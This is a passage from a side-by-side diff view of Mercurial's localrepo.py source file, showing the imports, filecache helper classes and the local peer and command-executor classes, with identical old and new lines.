Show More
@@ -1,3820 +1,3820 b'' | |||||
1 | # localrepo.py - read/write repository class for mercurial |
|
1 | # localrepo.py - read/write repository class for mercurial | |
2 | # |
|
2 | # | |
3 | # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com> |
|
3 | # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com> | |
4 | # |
|
4 | # | |
5 | # This software may be used and distributed according to the terms of the |
|
5 | # This software may be used and distributed according to the terms of the | |
6 | # GNU General Public License version 2 or any later version. |
|
6 | # GNU General Public License version 2 or any later version. | |
7 |
|
7 | |||
8 | from __future__ import absolute_import |
|
8 | from __future__ import absolute_import | |
9 |
|
9 | |||
10 | import errno |
|
10 | import errno | |
11 | import functools |
|
11 | import functools | |
12 | import os |
|
12 | import os | |
13 | import random |
|
13 | import random | |
14 | import sys |
|
14 | import sys | |
15 | import time |
|
15 | import time | |
16 | import weakref |
|
16 | import weakref | |
17 |
|
17 | |||
18 | from .i18n import _ |
|
18 | from .i18n import _ | |
19 | from .node import ( |
|
19 | from .node import ( | |
20 | bin, |
|
20 | bin, | |
21 | hex, |
|
21 | hex, | |
22 | nullrev, |
|
22 | nullrev, | |
23 | sha1nodeconstants, |
|
23 | sha1nodeconstants, | |
24 | short, |
|
24 | short, | |
25 | ) |
|
25 | ) | |
26 | from .pycompat import ( |
|
26 | from .pycompat import ( | |
27 | delattr, |
|
27 | delattr, | |
28 | getattr, |
|
28 | getattr, | |
29 | ) |
|
29 | ) | |
30 | from . import ( |
|
30 | from . import ( | |
31 | bookmarks, |
|
31 | bookmarks, | |
32 | branchmap, |
|
32 | branchmap, | |
33 | bundle2, |
|
33 | bundle2, | |
34 | bundlecaches, |
|
34 | bundlecaches, | |
35 | changegroup, |
|
35 | changegroup, | |
36 | color, |
|
36 | color, | |
37 | commit, |
|
37 | commit, | |
38 | context, |
|
38 | context, | |
39 | dirstate, |
|
39 | dirstate, | |
40 | dirstateguard, |
|
40 | dirstateguard, | |
41 | discovery, |
|
41 | discovery, | |
42 | encoding, |
|
42 | encoding, | |
43 | error, |
|
43 | error, | |
44 | exchange, |
|
44 | exchange, | |
45 | extensions, |
|
45 | extensions, | |
46 | filelog, |
|
46 | filelog, | |
47 | hook, |
|
47 | hook, | |
48 | lock as lockmod, |
|
48 | lock as lockmod, | |
49 | match as matchmod, |
|
49 | match as matchmod, | |
50 | mergestate as mergestatemod, |
|
50 | mergestate as mergestatemod, | |
51 | mergeutil, |
|
51 | mergeutil, | |
52 | namespaces, |
|
52 | namespaces, | |
53 | narrowspec, |
|
53 | narrowspec, | |
54 | obsolete, |
|
54 | obsolete, | |
55 | pathutil, |
|
55 | pathutil, | |
56 | phases, |
|
56 | phases, | |
57 | pushkey, |
|
57 | pushkey, | |
58 | pycompat, |
|
58 | pycompat, | |
59 | rcutil, |
|
59 | rcutil, | |
60 | repoview, |
|
60 | repoview, | |
61 | requirements as requirementsmod, |
|
61 | requirements as requirementsmod, | |
62 | revlog, |
|
62 | revlog, | |
63 | revset, |
|
63 | revset, | |
64 | revsetlang, |
|
64 | revsetlang, | |
65 | scmutil, |
|
65 | scmutil, | |
66 | sparse, |
|
66 | sparse, | |
67 | store as storemod, |
|
67 | store as storemod, | |
68 | subrepoutil, |
|
68 | subrepoutil, | |
69 | tags as tagsmod, |
|
69 | tags as tagsmod, | |
70 | transaction, |
|
70 | transaction, | |
71 | txnutil, |
|
71 | txnutil, | |
72 | util, |
|
72 | util, | |
73 | vfs as vfsmod, |
|
73 | vfs as vfsmod, | |
74 | wireprototypes, |
|
74 | wireprototypes, | |
75 | ) |
|
75 | ) | |
76 |
|
76 | |||
77 | from .interfaces import ( |
|
77 | from .interfaces import ( | |
78 | repository, |
|
78 | repository, | |
79 | util as interfaceutil, |
|
79 | util as interfaceutil, | |
80 | ) |
|
80 | ) | |
81 |
|
81 | |||
82 | from .utils import ( |
|
82 | from .utils import ( | |
83 | hashutil, |
|
83 | hashutil, | |
84 | procutil, |
|
84 | procutil, | |
85 | stringutil, |
|
85 | stringutil, | |
86 | urlutil, |
|
86 | urlutil, | |
87 | ) |
|
87 | ) | |
88 |
|
88 | |||
89 | from .revlogutils import ( |
|
89 | from .revlogutils import ( | |
90 | concurrency_checker as revlogchecker, |
|
90 | concurrency_checker as revlogchecker, | |
91 | constants as revlogconst, |
|
91 | constants as revlogconst, | |
92 | sidedata as sidedatamod, |
|
92 | sidedata as sidedatamod, | |
93 | ) |
|
93 | ) | |
94 |
|
94 | |||
95 | release = lockmod.release |
|
95 | release = lockmod.release | |
96 | urlerr = util.urlerr |
|
96 | urlerr = util.urlerr | |
97 | urlreq = util.urlreq |
|
97 | urlreq = util.urlreq | |
98 |
|
98 | |||
99 | # set of (path, vfs-location) tuples. vfs-location is: |
|
99 | # set of (path, vfs-location) tuples. vfs-location is: | |
100 | # - 'plain for vfs relative paths |
|
100 | # - 'plain for vfs relative paths | |
101 | # - '' for svfs relative paths |
|
101 | # - '' for svfs relative paths | |
102 | _cachedfiles = set() |
|
102 | _cachedfiles = set() | |
103 |
|
103 | |||
104 |
|
104 | |||
105 | class _basefilecache(scmutil.filecache): |
|
105 | class _basefilecache(scmutil.filecache): | |
106 | """All filecache usage on repo are done for logic that should be unfiltered""" |
|
106 | """All filecache usage on repo are done for logic that should be unfiltered""" | |
107 |
|
107 | |||
108 | def __get__(self, repo, type=None): |
|
108 | def __get__(self, repo, type=None): | |
109 | if repo is None: |
|
109 | if repo is None: | |
110 | return self |
|
110 | return self | |
111 | # proxy to unfiltered __dict__ since filtered repo has no entry |
|
111 | # proxy to unfiltered __dict__ since filtered repo has no entry | |
112 | unfi = repo.unfiltered() |
|
112 | unfi = repo.unfiltered() | |
113 | try: |
|
113 | try: | |
114 | return unfi.__dict__[self.sname] |
|
114 | return unfi.__dict__[self.sname] | |
115 | except KeyError: |
|
115 | except KeyError: | |
116 | pass |
|
116 | pass | |
117 | return super(_basefilecache, self).__get__(unfi, type) |
|
117 | return super(_basefilecache, self).__get__(unfi, type) | |
118 |
|
118 | |||
119 | def set(self, repo, value): |
|
119 | def set(self, repo, value): | |
120 | return super(_basefilecache, self).set(repo.unfiltered(), value) |
|
120 | return super(_basefilecache, self).set(repo.unfiltered(), value) | |
121 |
|
121 | |||
122 |
|
122 | |||
123 | class repofilecache(_basefilecache): |
|
123 | class repofilecache(_basefilecache): | |
124 | """filecache for files in .hg but outside of .hg/store""" |
|
124 | """filecache for files in .hg but outside of .hg/store""" | |
125 |
|
125 | |||
126 | def __init__(self, *paths): |
|
126 | def __init__(self, *paths): | |
127 | super(repofilecache, self).__init__(*paths) |
|
127 | super(repofilecache, self).__init__(*paths) | |
128 | for path in paths: |
|
128 | for path in paths: | |
129 | _cachedfiles.add((path, b'plain')) |
|
129 | _cachedfiles.add((path, b'plain')) | |
130 |
|
130 | |||
131 | def join(self, obj, fname): |
|
131 | def join(self, obj, fname): | |
132 | return obj.vfs.join(fname) |
|
132 | return obj.vfs.join(fname) | |
133 |
|
133 | |||
134 |
|
134 | |||
135 | class storecache(_basefilecache): |
|
135 | class storecache(_basefilecache): | |
136 | """filecache for files in the store""" |
|
136 | """filecache for files in the store""" | |
137 |
|
137 | |||
138 | def __init__(self, *paths): |
|
138 | def __init__(self, *paths): | |
139 | super(storecache, self).__init__(*paths) |
|
139 | super(storecache, self).__init__(*paths) | |
140 | for path in paths: |
|
140 | for path in paths: | |
141 | _cachedfiles.add((path, b'')) |
|
141 | _cachedfiles.add((path, b'')) | |
142 |
|
142 | |||
143 | def join(self, obj, fname): |
|
143 | def join(self, obj, fname): | |
144 | return obj.sjoin(fname) |
|
144 | return obj.sjoin(fname) | |
145 |
|
145 | |||
146 |
|
146 | |||
147 | class mixedrepostorecache(_basefilecache): |
|
147 | class mixedrepostorecache(_basefilecache): | |
148 | """filecache for a mix files in .hg/store and outside""" |
|
148 | """filecache for a mix files in .hg/store and outside""" | |
149 |
|
149 | |||
150 | def __init__(self, *pathsandlocations): |
|
150 | def __init__(self, *pathsandlocations): | |
151 | # scmutil.filecache only uses the path for passing back into our |
|
151 | # scmutil.filecache only uses the path for passing back into our | |
152 | # join(), so we can safely pass a list of paths and locations |
|
152 | # join(), so we can safely pass a list of paths and locations | |
153 | super(mixedrepostorecache, self).__init__(*pathsandlocations) |
|
153 | super(mixedrepostorecache, self).__init__(*pathsandlocations) | |
154 | _cachedfiles.update(pathsandlocations) |
|
154 | _cachedfiles.update(pathsandlocations) | |
155 |
|
155 | |||
156 | def join(self, obj, fnameandlocation): |
|
156 | def join(self, obj, fnameandlocation): | |
157 | fname, location = fnameandlocation |
|
157 | fname, location = fnameandlocation | |
158 | if location == b'plain': |
|
158 | if location == b'plain': | |
159 | return obj.vfs.join(fname) |
|
159 | return obj.vfs.join(fname) | |
160 | else: |
|
160 | else: | |
161 | if location != b'': |
|
161 | if location != b'': | |
162 | raise error.ProgrammingError( |
|
162 | raise error.ProgrammingError( | |
163 | b'unexpected location: %s' % location |
|
163 | b'unexpected location: %s' % location | |
164 | ) |
|
164 | ) | |
165 | return obj.sjoin(fname) |
|
165 | return obj.sjoin(fname) | |
166 |
|
166 | |||
167 |
|
167 | |||
168 | def isfilecached(repo, name): |
|
168 | def isfilecached(repo, name): | |
169 | """check if a repo has already cached "name" filecache-ed property |
|
169 | """check if a repo has already cached "name" filecache-ed property | |
170 |
|
170 | |||
171 | This returns (cachedobj-or-None, iscached) tuple. |
|
171 | This returns (cachedobj-or-None, iscached) tuple. | |
172 | """ |
|
172 | """ | |
173 | cacheentry = repo.unfiltered()._filecache.get(name, None) |
|
173 | cacheentry = repo.unfiltered()._filecache.get(name, None) | |
174 | if not cacheentry: |
|
174 | if not cacheentry: | |
175 | return None, False |
|
175 | return None, False | |
176 | return cacheentry.obj, True |
|
176 | return cacheentry.obj, True | |
177 |
|
177 | |||
178 |
|
178 | |||
179 | class unfilteredpropertycache(util.propertycache): |
|
179 | class unfilteredpropertycache(util.propertycache): | |
180 | """propertycache that apply to unfiltered repo only""" |
|
180 | """propertycache that apply to unfiltered repo only""" | |
181 |
|
181 | |||
182 | def __get__(self, repo, type=None): |
|
182 | def __get__(self, repo, type=None): | |
183 | unfi = repo.unfiltered() |
|
183 | unfi = repo.unfiltered() | |
184 | if unfi is repo: |
|
184 | if unfi is repo: | |
185 | return super(unfilteredpropertycache, self).__get__(unfi) |
|
185 | return super(unfilteredpropertycache, self).__get__(unfi) | |
186 | return getattr(unfi, self.name) |
|
186 | return getattr(unfi, self.name) | |
187 |
|
187 | |||
188 |
|
188 | |||
189 | class filteredpropertycache(util.propertycache): |
|
189 | class filteredpropertycache(util.propertycache): | |
190 | """propertycache that must take filtering in account""" |
|
190 | """propertycache that must take filtering in account""" | |
191 |
|
191 | |||
192 | def cachevalue(self, obj, value): |
|
192 | def cachevalue(self, obj, value): | |
193 | object.__setattr__(obj, self.name, value) |
|
193 | object.__setattr__(obj, self.name, value) | |
194 |
|
194 | |||
195 |
|
195 | |||
196 | def hasunfilteredcache(repo, name): |
|
196 | def hasunfilteredcache(repo, name): | |
197 | """check if a repo has an unfilteredpropertycache value for <name>""" |
|
197 | """check if a repo has an unfilteredpropertycache value for <name>""" | |
198 | return name in vars(repo.unfiltered()) |
|
198 | return name in vars(repo.unfiltered()) | |
199 |
|
199 | |||
200 |
|
200 | |||
201 | def unfilteredmethod(orig): |
|
201 | def unfilteredmethod(orig): | |
202 | """decorate method that always need to be run on unfiltered version""" |
|
202 | """decorate method that always need to be run on unfiltered version""" | |
203 |
|
203 | |||
204 | @functools.wraps(orig) |
|
204 | @functools.wraps(orig) | |
205 | def wrapper(repo, *args, **kwargs): |
|
205 | def wrapper(repo, *args, **kwargs): | |
206 | return orig(repo.unfiltered(), *args, **kwargs) |
|
206 | return orig(repo.unfiltered(), *args, **kwargs) | |
207 |
|
207 | |||
208 | return wrapper |
|
208 | return wrapper | |
209 |
|
209 | |||
210 |
|
210 | |||
211 | moderncaps = { |
|
211 | moderncaps = { | |
212 | b'lookup', |
|
212 | b'lookup', | |
213 | b'branchmap', |
|
213 | b'branchmap', | |
214 | b'pushkey', |
|
214 | b'pushkey', | |
215 | b'known', |
|
215 | b'known', | |
216 | b'getbundle', |
|
216 | b'getbundle', | |
217 | b'unbundle', |
|
217 | b'unbundle', | |
218 | } |
|
218 | } | |
219 | legacycaps = moderncaps.union({b'changegroupsubset'}) |
|
219 | legacycaps = moderncaps.union({b'changegroupsubset'}) | |
220 |
|
220 | |||
221 |
|
221 | |||
222 | @interfaceutil.implementer(repository.ipeercommandexecutor) |
|
222 | @interfaceutil.implementer(repository.ipeercommandexecutor) | |
223 | class localcommandexecutor(object): |
|
223 | class localcommandexecutor(object): | |
224 | def __init__(self, peer): |
|
224 | def __init__(self, peer): | |
225 | self._peer = peer |
|
225 | self._peer = peer | |
226 | self._sent = False |
|
226 | self._sent = False | |
227 | self._closed = False |
|
227 | self._closed = False | |
228 |
|
228 | |||
229 | def __enter__(self): |
|
229 | def __enter__(self): | |
230 | return self |
|
230 | return self | |
231 |
|
231 | |||
232 | def __exit__(self, exctype, excvalue, exctb): |
|
232 | def __exit__(self, exctype, excvalue, exctb): | |
233 | self.close() |
|
233 | self.close() | |
234 |
|
234 | |||
235 | def callcommand(self, command, args): |
|
235 | def callcommand(self, command, args): | |
236 | if self._sent: |
|
236 | if self._sent: | |
237 | raise error.ProgrammingError( |
|
237 | raise error.ProgrammingError( | |
238 | b'callcommand() cannot be used after sendcommands()' |
|
238 | b'callcommand() cannot be used after sendcommands()' | |
239 | ) |
|
239 | ) | |
240 |
|
240 | |||
241 | if self._closed: |
|
241 | if self._closed: | |
242 | raise error.ProgrammingError( |
|
242 | raise error.ProgrammingError( | |
243 | b'callcommand() cannot be used after close()' |
|
243 | b'callcommand() cannot be used after close()' | |
244 | ) |
|
244 | ) | |
245 |
|
245 | |||
246 | # We don't need to support anything fancy. Just call the named |
|
246 | # We don't need to support anything fancy. Just call the named | |
247 | # method on the peer and return a resolved future. |
|
247 | # method on the peer and return a resolved future. | |
248 | fn = getattr(self._peer, pycompat.sysstr(command)) |
|
248 | fn = getattr(self._peer, pycompat.sysstr(command)) | |
249 |
|
249 | |||
250 | f = pycompat.futures.Future() |
|
250 | f = pycompat.futures.Future() | |
251 |
|
251 | |||
252 | try: |
|
252 | try: | |
253 | result = fn(**pycompat.strkwargs(args)) |
|
253 | result = fn(**pycompat.strkwargs(args)) | |
254 | except Exception: |
|
254 | except Exception: | |
255 | pycompat.future_set_exception_info(f, sys.exc_info()[1:]) |
|
255 | pycompat.future_set_exception_info(f, sys.exc_info()[1:]) | |
256 | else: |
|
256 | else: | |
257 | f.set_result(result) |
|
257 | f.set_result(result) | |
258 |
|
258 | |||
259 | return f |
|
259 | return f | |
260 |
|
260 | |||
261 | def sendcommands(self): |
|
261 | def sendcommands(self): | |
262 | self._sent = True |
|
262 | self._sent = True | |
263 |
|
263 | |||
264 | def close(self): |
|
264 | def close(self): | |
265 | self._closed = True |
|
265 | self._closed = True | |
266 |
|
266 | |||
267 |
|
267 | |||
268 | @interfaceutil.implementer(repository.ipeercommands) |
|
268 | @interfaceutil.implementer(repository.ipeercommands) | |
269 | class localpeer(repository.peer): |
|
269 | class localpeer(repository.peer): | |
270 | '''peer for a local repo; reflects only the most recent API''' |
|
270 | '''peer for a local repo; reflects only the most recent API''' | |
271 |
|
271 | |||
272 | def __init__(self, repo, caps=None): |
|
272 | def __init__(self, repo, caps=None): | |
273 | super(localpeer, self).__init__() |
|
273 | super(localpeer, self).__init__() | |
274 |
|
274 | |||
275 | if caps is None: |
|
275 | if caps is None: | |
276 | caps = moderncaps.copy() |
|
276 | caps = moderncaps.copy() | |
277 | self._repo = repo.filtered(b'served') |
|
277 | self._repo = repo.filtered(b'served') | |
278 | self.ui = repo.ui |
|
278 | self.ui = repo.ui | |
279 |
|
279 | |||
280 | if repo._wanted_sidedata: |
|
280 | if repo._wanted_sidedata: | |
281 | formatted = bundle2.format_remote_wanted_sidedata(repo) |
|
281 | formatted = bundle2.format_remote_wanted_sidedata(repo) | |
282 | caps.add(b'exp-wanted-sidedata=' + formatted) |
|
282 | caps.add(b'exp-wanted-sidedata=' + formatted) | |
283 |
|
283 | |||
284 | self._caps = repo._restrictcapabilities(caps) |
|
284 | self._caps = repo._restrictcapabilities(caps) | |
285 |
|
285 | |||
286 | # Begin of _basepeer interface. |
|
286 | # Begin of _basepeer interface. | |
287 |
|
287 | |||
288 | def url(self): |
|
288 | def url(self): | |
289 | return self._repo.url() |
|
289 | return self._repo.url() | |
290 |
|
290 | |||
291 | def local(self): |
|
291 | def local(self): | |
292 | return self._repo |
|
292 | return self._repo | |
293 |
|
293 | |||
294 | def peer(self): |
|
294 | def peer(self): | |
295 | return self |
|
295 | return self | |
296 |
|
296 | |||
297 | def canpush(self): |
|
297 | def canpush(self): | |
298 | return True |
|
298 | return True | |
299 |
|
299 | |||
300 | def close(self): |
|
300 | def close(self): | |
301 | self._repo.close() |
|
301 | self._repo.close() | |
302 |
|
302 | |||
303 | # End of _basepeer interface. |
|
303 | # End of _basepeer interface. | |
304 |
|
304 | |||
305 | # Begin of _basewirecommands interface. |
|
305 | # Begin of _basewirecommands interface. | |
306 |
|
306 | |||
307 | def branchmap(self): |
|
307 | def branchmap(self): | |
308 | return self._repo.branchmap() |
|
308 | return self._repo.branchmap() | |
309 |
|
309 | |||
310 | def capabilities(self): |
|
310 | def capabilities(self): | |
311 | return self._caps |
|
311 | return self._caps | |
312 |
|
312 | |||
313 | def clonebundles(self): |
|
313 | def clonebundles(self): | |
314 | return self._repo.tryread(bundlecaches.CB_MANIFEST_FILE) |
|
314 | return self._repo.tryread(bundlecaches.CB_MANIFEST_FILE) | |
315 |
|
315 | |||
316 | def debugwireargs(self, one, two, three=None, four=None, five=None): |
|
316 | def debugwireargs(self, one, two, three=None, four=None, five=None): | |
317 | """Used to test argument passing over the wire""" |
|
317 | """Used to test argument passing over the wire""" | |
318 | return b"%s %s %s %s %s" % ( |
|
318 | return b"%s %s %s %s %s" % ( | |
319 | one, |
|
319 | one, | |
320 | two, |
|
320 | two, | |
321 | pycompat.bytestr(three), |
|
321 | pycompat.bytestr(three), | |
322 | pycompat.bytestr(four), |
|
322 | pycompat.bytestr(four), | |
323 | pycompat.bytestr(five), |
|
323 | pycompat.bytestr(five), | |
324 | ) |
|
324 | ) | |
325 |
|
325 | |||
326 | def getbundle( |
|
326 | def getbundle( | |
327 | self, |
|
327 | self, | |
328 | source, |
|
328 | source, | |
329 | heads=None, |
|
329 | heads=None, | |
330 | common=None, |
|
330 | common=None, | |
331 | bundlecaps=None, |
|
331 | bundlecaps=None, | |
332 | remote_sidedata=None, |
|
332 | remote_sidedata=None, | |
333 | **kwargs |
|
333 | **kwargs | |
334 | ): |
|
334 | ): | |
335 | chunks = exchange.getbundlechunks( |
|
335 | chunks = exchange.getbundlechunks( | |
336 | self._repo, |
|
336 | self._repo, | |
337 | source, |
|
337 | source, | |
338 | heads=heads, |
|
338 | heads=heads, | |
339 | common=common, |
|
339 | common=common, | |
340 | bundlecaps=bundlecaps, |
|
340 | bundlecaps=bundlecaps, | |
341 | remote_sidedata=remote_sidedata, |
|
341 | remote_sidedata=remote_sidedata, | |
342 | **kwargs |
|
342 | **kwargs | |
343 | )[1] |
|
343 | )[1] | |
344 | cb = util.chunkbuffer(chunks) |
|
344 | cb = util.chunkbuffer(chunks) | |
345 |
|
345 | |||
346 | if exchange.bundle2requested(bundlecaps): |
|
346 | if exchange.bundle2requested(bundlecaps): | |
347 | # When requesting a bundle2, getbundle returns a stream to make the |
|
347 | # When requesting a bundle2, getbundle returns a stream to make the | |
348 | # wire level function happier. We need to build a proper object |
|
348 | # wire level function happier. We need to build a proper object | |
349 | # from it in local peer. |
|
349 | # from it in local peer. | |
350 | return bundle2.getunbundler(self.ui, cb) |
|
350 | return bundle2.getunbundler(self.ui, cb) | |
351 | else: |
|
351 | else: | |
352 | return changegroup.getunbundler(b'01', cb, None) |
|
352 | return changegroup.getunbundler(b'01', cb, None) | |
353 |
|
353 | |||
354 | def heads(self): |
|
354 | def heads(self): | |
355 | return self._repo.heads() |
|
355 | return self._repo.heads() | |
356 |
|
356 | |||
357 | def known(self, nodes): |
|
357 | def known(self, nodes): | |
358 | return self._repo.known(nodes) |
|
358 | return self._repo.known(nodes) | |
359 |
|
359 | |||
360 | def listkeys(self, namespace): |
|
360 | def listkeys(self, namespace): | |
361 | return self._repo.listkeys(namespace) |
|
361 | return self._repo.listkeys(namespace) | |
362 |
|
362 | |||
363 | def lookup(self, key): |
|
363 | def lookup(self, key): | |
364 | return self._repo.lookup(key) |
|
364 | return self._repo.lookup(key) | |
365 |
|
365 | |||
366 | def pushkey(self, namespace, key, old, new): |
|
366 | def pushkey(self, namespace, key, old, new): | |
367 | return self._repo.pushkey(namespace, key, old, new) |
|
367 | return self._repo.pushkey(namespace, key, old, new) | |
368 |
|
368 | |||
369 | def stream_out(self): |
|
369 | def stream_out(self): | |
370 | raise error.Abort(_(b'cannot perform stream clone against local peer')) |
|
370 | raise error.Abort(_(b'cannot perform stream clone against local peer')) | |
371 |
|
371 | |||
372 | def unbundle(self, bundle, heads, url): |
|
372 | def unbundle(self, bundle, heads, url): | |
373 | """apply a bundle on a repo |
|
373 | """apply a bundle on a repo | |
374 |
|
374 | |||
375 | This function handles the repo locking itself.""" |
|
375 | This function handles the repo locking itself.""" | |
376 | try: |
|
376 | try: | |
377 | try: |
|
377 | try: | |
378 | bundle = exchange.readbundle(self.ui, bundle, None) |
|
378 | bundle = exchange.readbundle(self.ui, bundle, None) | |
379 | ret = exchange.unbundle(self._repo, bundle, heads, b'push', url) |
|
379 | ret = exchange.unbundle(self._repo, bundle, heads, b'push', url) | |
380 | if util.safehasattr(ret, b'getchunks'): |
|
380 | if util.safehasattr(ret, b'getchunks'): | |
381 | # This is a bundle20 object, turn it into an unbundler. |
|
381 | # This is a bundle20 object, turn it into an unbundler. | |
382 | # This little dance should be dropped eventually when the |
|
382 | # This little dance should be dropped eventually when the | |
383 | # API is finally improved. |
|
383 | # API is finally improved. | |
384 | stream = util.chunkbuffer(ret.getchunks()) |
|
384 | stream = util.chunkbuffer(ret.getchunks()) | |
385 | ret = bundle2.getunbundler(self.ui, stream) |
|
385 | ret = bundle2.getunbundler(self.ui, stream) | |
386 | return ret |
|
386 | return ret | |
387 | except Exception as exc: |
|
387 | except Exception as exc: | |
388 | # If the exception contains output salvaged from a bundle2 |
|
388 | # If the exception contains output salvaged from a bundle2 | |
389 | # reply, we need to make sure it is printed before continuing |
|
389 | # reply, we need to make sure it is printed before continuing | |
390 | # to fail. So we build a bundle2 with such output and consume |
|
390 | # to fail. So we build a bundle2 with such output and consume | |
391 | # it directly. |
|
391 | # it directly. | |
392 | # |
|
392 | # | |
393 | # This is not very elegant but allows a "simple" solution for |
|
393 | # This is not very elegant but allows a "simple" solution for | |
394 | # issue4594 |
|
394 | # issue4594 | |
395 | output = getattr(exc, '_bundle2salvagedoutput', ()) |
|
395 | output = getattr(exc, '_bundle2salvagedoutput', ()) | |
396 | if output: |
|
396 | if output: | |
397 | bundler = bundle2.bundle20(self._repo.ui) |
|
397 | bundler = bundle2.bundle20(self._repo.ui) | |
398 | for out in output: |
|
398 | for out in output: | |
399 | bundler.addpart(out) |
|
399 | bundler.addpart(out) | |
400 | stream = util.chunkbuffer(bundler.getchunks()) |
|
400 | stream = util.chunkbuffer(bundler.getchunks()) | |
401 | b = bundle2.getunbundler(self.ui, stream) |
|
401 | b = bundle2.getunbundler(self.ui, stream) | |
402 | bundle2.processbundle(self._repo, b) |
|
402 | bundle2.processbundle(self._repo, b) | |
403 | raise |
|
403 | raise | |
404 | except error.PushRaced as exc: |
|
404 | except error.PushRaced as exc: | |
405 | raise error.ResponseError( |
|
405 | raise error.ResponseError( | |
406 | _(b'push failed:'), stringutil.forcebytestr(exc) |
|
406 | _(b'push failed:'), stringutil.forcebytestr(exc) | |
407 | ) |
|
407 | ) | |
408 |
|
408 | |||
409 | # End of _basewirecommands interface. |
|
409 | # End of _basewirecommands interface. | |
410 |
|
410 | |||
411 | # Begin of peer interface. |
|
411 | # Begin of peer interface. | |
412 |
|
412 | |||
413 | def commandexecutor(self): |
|
413 | def commandexecutor(self): | |
414 | return localcommandexecutor(self) |
|
414 | return localcommandexecutor(self) | |
415 |
|
415 | |||
416 | # End of peer interface. |
|
416 | # End of peer interface. | |
417 |
|
417 | |||
418 |
|
418 | |||
419 | @interfaceutil.implementer(repository.ipeerlegacycommands) |
|
419 | @interfaceutil.implementer(repository.ipeerlegacycommands) | |
420 | class locallegacypeer(localpeer): |
|
420 | class locallegacypeer(localpeer): | |
421 | """peer extension which implements legacy methods too; used for tests with |
|
421 | """peer extension which implements legacy methods too; used for tests with | |
422 | restricted capabilities""" |
|
422 | restricted capabilities""" | |
423 |
|
423 | |||
424 | def __init__(self, repo): |
|
424 | def __init__(self, repo): | |
425 | super(locallegacypeer, self).__init__(repo, caps=legacycaps) |
|
425 | super(locallegacypeer, self).__init__(repo, caps=legacycaps) | |
426 |
|
426 | |||
427 | # Begin of baselegacywirecommands interface. |
|
427 | # Begin of baselegacywirecommands interface. | |
428 |
|
428 | |||
429 | def between(self, pairs): |
|
429 | def between(self, pairs): | |
430 | return self._repo.between(pairs) |
|
430 | return self._repo.between(pairs) | |
431 |
|
431 | |||
432 | def branches(self, nodes): |
|
432 | def branches(self, nodes): | |
433 | return self._repo.branches(nodes) |
|
433 | return self._repo.branches(nodes) | |
434 |
|
434 | |||
435 | def changegroup(self, nodes, source): |
|
435 | def changegroup(self, nodes, source): | |
436 | outgoing = discovery.outgoing( |
|
436 | outgoing = discovery.outgoing( | |
437 | self._repo, missingroots=nodes, ancestorsof=self._repo.heads() |
|
437 | self._repo, missingroots=nodes, ancestorsof=self._repo.heads() | |
438 | ) |
|
438 | ) | |
439 | return changegroup.makechangegroup(self._repo, outgoing, b'01', source) |
|
439 | return changegroup.makechangegroup(self._repo, outgoing, b'01', source) | |
440 |
|
440 | |||
441 | def changegroupsubset(self, bases, heads, source): |
|
441 | def changegroupsubset(self, bases, heads, source): | |
442 | outgoing = discovery.outgoing( |
|
442 | outgoing = discovery.outgoing( | |
443 | self._repo, missingroots=bases, ancestorsof=heads |
|
443 | self._repo, missingroots=bases, ancestorsof=heads | |
444 | ) |
|
444 | ) | |
445 | return changegroup.makechangegroup(self._repo, outgoing, b'01', source) |
|
445 | return changegroup.makechangegroup(self._repo, outgoing, b'01', source) | |
446 |
|
446 | |||
447 | # End of baselegacywirecommands interface. |
|
447 | # End of baselegacywirecommands interface. | |
448 |
|
448 | |||
449 |
|
449 | |||
450 | # Functions receiving (ui, features) that extensions can register to impact |
|
450 | # Functions receiving (ui, features) that extensions can register to impact | |
451 | # the ability to load repositories with custom requirements. Only |
|
451 | # the ability to load repositories with custom requirements. Only | |
452 | # functions defined in loaded extensions are called. |
|
452 | # functions defined in loaded extensions are called. | |
453 | # |
|
453 | # | |
454 | # The function receives a set of requirement strings that the repository |
|
454 | # The function receives a set of requirement strings that the repository | |
455 | # is capable of opening. Functions will typically add elements to the |
|
455 | # is capable of opening. Functions will typically add elements to the | |
456 | # set to reflect that the extension knows how to handle that requirements. |
|
456 | # set to reflect that the extension knows how to handle that requirements. | |
457 | featuresetupfuncs = set() |
|
457 | featuresetupfuncs = set() | |
458 |
|
458 | |||
459 |
|
459 | |||
460 | def _getsharedvfs(hgvfs, requirements): |
|
460 | def _getsharedvfs(hgvfs, requirements): | |
461 | """returns the vfs object pointing to root of shared source |
|
461 | """returns the vfs object pointing to root of shared source | |
462 | repo for a shared repository |
|
462 | repo for a shared repository | |
463 |
|
463 | |||
464 | hgvfs is vfs pointing at .hg/ of current repo (shared one) |
|
464 | hgvfs is vfs pointing at .hg/ of current repo (shared one) | |
465 | requirements is a set of requirements of current repo (shared one) |
|
465 | requirements is a set of requirements of current repo (shared one) | |
466 | """ |
|
466 | """ | |
467 | # The ``shared`` or ``relshared`` requirements indicate the |
|
467 | # The ``shared`` or ``relshared`` requirements indicate the | |
468 | # store lives in the path contained in the ``.hg/sharedpath`` file. |
|
468 | # store lives in the path contained in the ``.hg/sharedpath`` file. | |
469 | # This is an absolute path for ``shared`` and relative to |
|
469 | # This is an absolute path for ``shared`` and relative to | |
470 | # ``.hg/`` for ``relshared``. |
|
470 | # ``.hg/`` for ``relshared``. | |
471 | sharedpath = hgvfs.read(b'sharedpath').rstrip(b'\n') |
|
471 | sharedpath = hgvfs.read(b'sharedpath').rstrip(b'\n') | |
472 | if requirementsmod.RELATIVE_SHARED_REQUIREMENT in requirements: |
|
472 | if requirementsmod.RELATIVE_SHARED_REQUIREMENT in requirements: | |
473 | sharedpath = util.normpath(hgvfs.join(sharedpath)) |
|
473 | sharedpath = util.normpath(hgvfs.join(sharedpath)) | |
474 |
|
474 | |||
475 | sharedvfs = vfsmod.vfs(sharedpath, realpath=True) |
|
475 | sharedvfs = vfsmod.vfs(sharedpath, realpath=True) | |
476 |
|
476 | |||
477 | if not sharedvfs.exists(): |
|
477 | if not sharedvfs.exists(): | |
478 | raise error.RepoError( |
|
478 | raise error.RepoError( | |
479 | _(b'.hg/sharedpath points to nonexistent directory %s') |
|
479 | _(b'.hg/sharedpath points to nonexistent directory %s') | |
480 | % sharedvfs.base |
|
480 | % sharedvfs.base | |
481 | ) |
|
481 | ) | |
482 | return sharedvfs |
|
482 | return sharedvfs | |
483 |
|
483 | |||
484 |
|
484 | |||
485 | def _readrequires(vfs, allowmissing): |
|
485 | def _readrequires(vfs, allowmissing): | |
486 | """reads the require file present at root of this vfs |
|
486 | """reads the require file present at root of this vfs | |
487 | and return a set of requirements |
|
